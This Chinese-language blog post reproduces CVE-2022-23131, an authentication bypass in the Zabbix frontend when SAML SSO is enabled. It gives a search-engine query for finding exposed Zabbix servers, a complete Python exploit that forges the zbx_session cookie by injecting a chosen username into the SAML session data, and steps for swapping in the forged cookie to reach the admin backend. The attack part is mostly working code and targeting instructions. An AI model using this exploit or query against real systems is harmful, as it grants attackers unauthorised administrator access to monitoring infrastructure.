B1gd0g
文章16
标签12
分类2
CVE-2022-23131---Zabbix漏洞复现

CVE-2022-23131---Zabbix漏洞复现

Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。

Zabbix Frontend 存在安全漏洞,该漏洞源于在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。 未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。

搜索语法:

1
title="Zabbix" and body="SAML"

img

img

Exp:https://github.com/Mr-xn/cve-2022-23131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
import urllib.parse
import base64
import json
import sys


def exp(target, username):
resp = requests.get(url=target, verify=False)
cookie = resp.headers.get("Set-Cookie")

zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)

url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
base64_decode_data = base64.b64decode(url_decode_data)

decode_to_str = str(base64_decode_data, encoding='utf-8')

to_json = json.loads(decode_to_str)

tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])

payloadJson = json.dumps(tmp_ojb)
print("decode_payload:", payloadJson)

payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
print("zbx_signed_session:", payload)


if __name__ == "__main__":
if len(sys.argv) != 3:
print("argv error")
exit(0)
target = sys.argv[1]
username = sys.argv[2]

exp(target, username)

img

img

利用cookie修改插件或者F12修改,没区别,改完之后点击Sign in with Single Sign-On (SAML)即可绕过认证成功登陆后台

img

×